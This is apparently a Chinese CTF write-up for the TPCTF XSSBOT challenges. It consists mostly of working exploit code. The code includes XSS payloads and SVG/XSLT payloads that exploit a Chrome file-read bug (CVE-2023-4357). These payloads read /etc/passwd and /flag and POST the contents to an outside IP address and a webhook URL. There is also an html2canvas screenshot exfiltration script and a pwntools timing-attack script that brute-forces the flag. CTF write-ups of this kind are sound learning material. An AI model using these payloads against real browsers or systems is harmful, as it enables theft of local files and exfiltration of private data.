xctf-TPCTF wp

xctf-TPCTF wp

还得是xctf,现在xctf的web题都没web界面了屌

XSSBOT

想法很简单,直接读文件然后外带

<img src="xasdasdasd" onerror="document.write('<iframe src=file:///flag></iframe>')"/>
<script>var xmlhttp1=new XMLHttpRequest();
xmlhttp1.open("GET","http://localhost:5000/a.html",false);
xmlhttp1.send();
var xmlhttp=new XMLHttpRequest();
xmlhttp.open("GET","http://8.129.42.140:3307/"+ btoa(xmlhttp1.responseText),true);
xmlhttp.send();</script>

发现这个是可以外带东西的,但是flag也不在cookie,而且要考虑同源策略

image-20231213115931234

然后纠结很久

2021年有人提出过这个观点,https://security.stackexchange.com/questions/242718/how-can-i-read-local-files-from-blind-xss

或许本身就是无解

尝试屏幕截图

学到了屏幕截图的操作

<html>
<head>
    <title>Attack</title>
</head>
<body>
    <iframe src=file:///flag></iframe>
    <script src="https://html2canvas.hertzen.com/dist/html2canvas.min.js"></script>
    <script>console.log('Sleeping to allow resources loading!');setTimeout(function () {setInterval(function () {html2canvas(document.getElementsByTagName("html")[0], {scale: 1}).then(canvas => {function b() {eval(this.responseText)};
    a = new XMLHttpRequest();a.addEventListener("load", b);
    a.open("POST", "http://8.129.42.140:3307/");a.send(btoa(canvas.toDataURL()));}).catch(e => console.log(e));}, 1000);}, 3000);</script>
</html>
EOF

玛德不行。没有含flag的截图,而且题目也没有发送我截图

应该是同源策略的问题,所以我不能用file协议

应该是日谷歌浏览器了,当时想了一堆方法

image-20231213120055354

最终找到

CVE-2023-4357+csp bypass 建议参考余总的https://johnfrod.top/安全/csp策略与绕过/

a.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd_p        "file:///etc/passwd">
  <!ENTITY passwd_c SYSTEM "file:///etc/passwd">
  <!ENTITY sysini_p        "file:///c:/windows/system.ini">
  <!ENTITY sysini_c SYSTEM "file:///c:/windows/system.ini">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&passwd_p;">&passwd_c;</p>
        <p class="&sysini_p;">&sysini_c;</p>
      </div>
      <div style="width:40rem" id="r" />
      <script>
        document.querySelector('#r').innerHTML = `
remote web url:    <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
        document.querySelectorAll('p').forEach(p => {
          //You can send p.innerHTML by POST.
          document.querySelector('#r').innerHTML += `
local file path:   <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
        });

        document.querySelectorAll('p').forEach(p => {
        const localFilePath = p.className;
        const localFileContent = p.innerHTML;

        // 构建要发送的数据对象
        const data = {
            filePath: localFilePath,
            fileContent: localFileContent
        };

        // 发送POST请求
        fetch('http://8.129.42.140:3307/post.php?'+JSON.stringify(data), {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(data),
        })
        .then(response => response.json())
        .then(data => {
            // 处理服务器响应,如果有需要的话
            console.log('Server response:', data);
        })
        .catch(error => {
            // 处理错误
            console.error('Error:', error);
        });
    });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
EOF

这份本地能出,分享会也复现给新生看了

更新了亿点东西

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd_p        "file:///etc/passwd">
  <!ENTITY passwd_c SYSTEM "file:///etc/passwd">
  <!ENTITY flag_p        "file:///flag">
  <!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&passwd_p;">&passwd_c;</p>
        <p class="&flag_p;">&flag_c;</p>
      </div>
      <div style="width:40rem" id="r" />
      <script>
        document.querySelector('#r').innerHTML = `
remote web url:    <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
        document.querySelectorAll('p').forEach(p => {
          //You can send p.innerHTML by POST.
          document.querySelector('#r').innerHTML += `
local file path:   <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
        });

        document.querySelectorAll('p').forEach(p => {
        const localFilePath = p.className;
        const localFileContent = p.innerHTML;

        // 构建要发送的数据对象
        const data = {
            filePath: localFilePath,
            fileContent: localFileContent
        };

        // 发送POST请求
        fetch('https://webhook.site/2e14ec61-b946-4b43-9094-bdbee8ac9958?'+JSON.stringify(data), {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(data),
        })
        .then(response => response.json())
        .then(data => {
            // 处理服务器响应,如果有需要的话
            console.log('Server response:', data);
        })
        .catch(error => {
            // 处理错误
            console.error('Error:', error);
        });
    });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
EOF

主要就是魔改了一下,把实体标签换成正常标签,不然总是不解析(但是特么的windows可以)

image-20231213120215807

xssbot2

这个可以打爆:https://www.exploit-db.com/exploits/49915 但是需要交互

所以咱还是先试试时间盲注

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd_p        "file:///flag">
  <!ENTITY passwd_c SYSTEM "file:///flag">
  <!ENTITY flag_p        "file:///flag">
  <!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&passwd_p;">&passwd_c;</p>
        <p class="&flag_p;">&flag_c;</p>
      </div>
      <div style="width:40rem" id="r" />
      <script>
        document.querySelector('#r').innerHTML = `
remote web url:    <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
        document.querySelectorAll('p').forEach(p => {
          //You can send p.innerHTML by POST.
          document.querySelector('#r').innerHTML += `
local file path:   <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
        });

        document.querySelectorAll('p').forEach(p => {
        const localFilePath = p.className;
        const localFileContent = p.innerHTML;

        // 构建要发送的数据对象
        const data = {
            filePath: localFilePath,
            fileContent: localFileContent
        };

        // 发送POST请求
        fetch('http://8.129.42.140:3307?flag='+p.innerHTML, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(data),
        })
        .then(response => response.json())
        .then(data => {
            // 处理服务器响应,如果有需要的话
            console.log('Server response:', data);
        })
        .catch(error => {
            // 处理错误
            console.error('Error:', error);
        });
    });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
EOF

改为匹配

a.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd_p        "file:///flag">
  <!ENTITY passwd_c SYSTEM "file:///flag">
  <!ENTITY flag_p        "file:///flag">
  <!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&passwd_p;">&passwd_c;</p>
        <p class="&flag_p;">&flag_c;</p>
      </div>
      <div style="width:40rem" id="r" />
      <script>
        document.querySelector('#r').innerHTML = `
remote web url:    <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
        document.querySelectorAll('p').forEach(p => {
          //You can send p.innerHTML by POST.
          document.querySelector('#r').innerHTML += `
local file path:   <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
        });

        document.querySelectorAll('p').forEach(p => {

            const flag = p.innerHTML;
            // matchFlagCharacter(i,guessedCharacter) 
            // 实现一个匹配

            index=i_thai;
            guessedCharacter='gi_thai';
            // 获取 flag 的第i个字符
            const correctCharacter = flag.charAt(index);

            // 判断当前字符是否匹配
            if (guessedCharacter === correctCharacter) {
                console.log(`Matched character at index ${index}: ${correctCharacter}`);

                // 在匹配时延迟 5 秒
                setTimeout(() => {
                    console.log("Delay finished");
                }, 3000);
            } else {
                console.log(`Incorrect character at index ${index}`);
            }

        });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
EOF

attack.py

from pwn import *
import time

context.log_level = 'WARNING'

flag_thai = ''

# 可见字符列表
char_list = ['T','0', '1',  'P', 'C','F', '4', '5', '6', '7', '8', '9',
             'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
             'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
             'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', '3', 'D',
             'E',  'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
             'O', '2', 'Q', 'R', 'S', 'U', 'V', 'W', 'X',
             'Y', 'Z', '!', '@', '#', '$', '%', '^', '&', '*',
             '(', ')', '_', '+', '-', '=', '{', '}', '[', ']',
             '|', ':', ';', '"', "'", '<', '>', ',', '.', '?',
             '/', '`', '~', ' ']

def measure(content) -> int:

    try:
        # 没网23379 13379
        r = remote("202.112.238.82", 23379)
        # 有网
        # r = remote("202.112.238.82", 23378)

        # 接收服务器的初始输出
        r.sendlineafter(b"File name: ", b"b.svg")
        r.sendlineafter(b"Input your file:", content.encode('utf-8'))

        # 测量时间
        r.sendline(b'EOF')
        r.recvuntil(b'website...')
        start = time.time()
        print(r.recvuntil(b'Bye bye!').decode('utf-8'))
        r.close()
        end = time.time()
        return end - start
    except:
        return measure(content)

for i in range(0,40):
    # flag的位数
    for char_i in char_list:
        # char_i='1'
        with open('b.svg', 'r',encoding="utf-8") as file:
            file_content = file.read()
            modified_content = file_content.replace("ii_thai", str(i))
            modified_content = modified_content.replace("gi_thai", char_i)
        time_cost = measure(modified_content)
        print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
        if time_cost > 4.5:
            print("[*]find")
            print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
            flag_thai = flag_thai + char_i
            print("[*]flag: " + flag_thai)
            break

接着改良 b.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY passwd_p        "file:///flag">
  <!ENTITY passwd_c SYSTEM "file:///flag">
  <!ENTITY flag_p        "file:///flag">
  <!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&passwd_p;">&passwd_c;</p>
        <p class="&flag_p;">&flag_c;</p>
      </div>
      <div style="width:40rem" id="r" />
      <script>
        document.querySelector('#r').innerHTML = `
remote web url:    <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
        document.querySelectorAll('p').forEach(p => {
          //You can send p.innerHTML by POST.
          document.querySelector('#r').innerHTML += `
local file path:   <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
        });

        document.querySelectorAll('p').forEach(p => {
        const localFilePath = p.className;
        const localFileContent = p.innerHTML;

        // 构建要发送的数据对象
        const data = {
            filePath: localFilePath,
            fileContent: localFileContent
        };

        var index=ii_thai;
        var guessedCharacter='gi_thai';
        const flag = p.innerHTML;
        const correctCharacter = flag.charAt(index);

        // 判断当前字符是否匹配
        if (guessedCharacter === correctCharacter) {
            console.log(`Matched character at index ${index}: ${correctCharacter}`);
            setTimeout(() => {
                console.log('help');

            }, 20000);

            fetch('http://8.129.42.140:3307?flag6666='+p.innerHTML, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(data),
                })

        } else {
            console.log(`Incorrect character at index ${index}`);
            // 在匹配时延迟 5 秒
        }

        // 发送POST请求
        fetch('http://8.129.42.140:3307?flag='+p.innerHTML, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
            },
            body: JSON.stringify(data),
        })
        .then(response => response.json())
        .then(data => {
            // 处理服务器响应,如果有需要的话
            console.log('Server response:', data);
        })
        .catch(error => {
            // 处理错误
            console.error('Error:', error);
        });
    });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
EOF

这里如果匹配成功,服务器会收到thai666的请求,换成一个可以让浏览器延迟的操作即可

这两个是崩溃:

https://huntr.com/bounties/e268cd68-4f34-49bd-878b-82b96dcc0c99/

1297498 - UAF in ThreatDetailsCacheCollector::OpenEntry - chromium

借鉴了上面崩溃的思路,自己写了一个崩溃

最终脚本

from pwn import *
import time

context.log_level = 'WARNING'

flag_thai = ''

# 可见字符列表
char_list = ['T','0', '1',  'P', 'C','F', '4', '5', '6', '7', '8', '9',
             'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j',
             'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't',
             'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', '3', 'D',
             'E',  'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
             'O', '2', 'Q', 'R', 'S', 'U', 'V', 'W', 'X',
             'Y', 'Z', '!', '@', '#', '$', '%', '^', '&', '*',
             '(', ')', '_', '+', '-', '=', '{', '}', '[', ']',
             '|', ':', ';', '"', "'", '<', '>', ',', '.', '?',
             '/', '`', '~', ' ']

def measure(content) -> int:

    try:
        # 没网23379 13379
        r = remote("202.112.238.82", 23379)
        # 有网
        # r = remote("202.112.238.82", 23378)

        # 接收服务器的初始输出
        r.sendlineafter(b"File name: ", b"b.svg")
        r.sendlineafter(b"Input your file:", content.encode('utf-8'))

        # 测量时间
        r.sendline(b'EOF')
        r.recvuntil(b'website...')
        start = time.time()
        print(r.recvuntil(b'Bye bye!').decode('utf-8'))
        r.close()
        end = time.time()
        return end - start
    except:
        return measure(content)

for i in range(0,40):
    # flag的位数
    for char_i in char_list:
        # char_i='1'
        with open('b.svg', 'r',encoding="utf-8") as file:
            file_content = file.read()
            modified_content = file_content.replace("ii_thai", str(i))
            modified_content = modified_content.replace("gi_thai", char_i)
        time_cost = measure(modified_content)
        print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
        if time_cost > 4.5:
            print("[*]find")
            print(f"i={i}, char_i={char_i}, time_cost={time_cost}")
            flag_thai = flag_thai + char_i
            print("[*]flag: " + flag_thai)
            break

b.svg

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<!DOCTYPE div [
  <!ENTITY flag_p        "file:///flag">
  <!ENTITY flag_c SYSTEM "file:///flag">
]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
  <xsl:template match="/">
    <xsl:copy-of select="document('')"/>
    <body xmlns="http://www.w3.org/1999/xhtml">
      <div style="display:none">
        <p class="&flag_p;">&flag_c;</p>
      </div>
      <div style="width:40rem" id="r" />
      <script>
        document.querySelector('#r').innerHTML = `
remote web url:    <textarea style="width:100%;height:1rem">${location.href}</textarea><br/><br/>`;
        document.querySelectorAll('p').forEach(p => {
          //You can send p.innerHTML by POST.
          document.querySelector('#r').innerHTML += `
local file path:   <textarea style="width:100%;height:1rem">${ p.className }</textarea><br/>
local file content:<textarea style="width:100%;height:6rem">${ p.innerHTML }</textarea><br/><br/>`;
        });

        document.querySelectorAll('p').forEach(p => {
        const localFilePath = p.className;
        const localFileContent = p.innerHTML;

        // 构建要发送的数据对象
        const data = {
            filePath: localFilePath,
            fileContent: localFileContent
        };

        var index=ii_thai;
        var guessedCharacter='gi_thai';
        const flag = p.innerHTML;
        const correctCharacter = flag.charAt(index);

        // 判断当前字符是否匹配
        if (guessedCharacter === correctCharacter) {
            console.log(`Matched character at index ${index}: ${correctCharacter}`);

            window.location="/b.svg";

            fetch('/b.svg?'+p.innerHTML, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json',
                    },
                    body: JSON.stringify(data),
                })

        } else {
            console.log(`Incorrect character at index ${index}`);
            // 在匹配时延迟 5 秒
        }

    });
      </script>
    </body>
  </xsl:template>
</xsl:stylesheet>
EOF

image-20231213120545268

帅!

image-20231213120559143

TPCTF{ea5y5C4}

image-20231213120726543

这个漏洞还是很有意思的,当时学弟用知乎的一个exp试了一下,自己的浏览器可以任意文件读

image-20231214161536127

image-20231214161613136

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇